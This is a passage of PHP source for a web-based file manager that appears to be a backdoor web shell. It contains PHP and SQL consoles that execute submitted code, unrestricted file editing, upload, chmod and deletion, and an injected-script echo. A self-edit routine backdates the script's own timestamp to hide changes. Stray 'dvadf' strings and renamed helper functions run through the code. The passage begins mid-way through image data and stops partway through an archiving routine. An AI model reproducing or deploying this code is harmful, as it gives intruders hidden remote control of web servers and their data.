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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
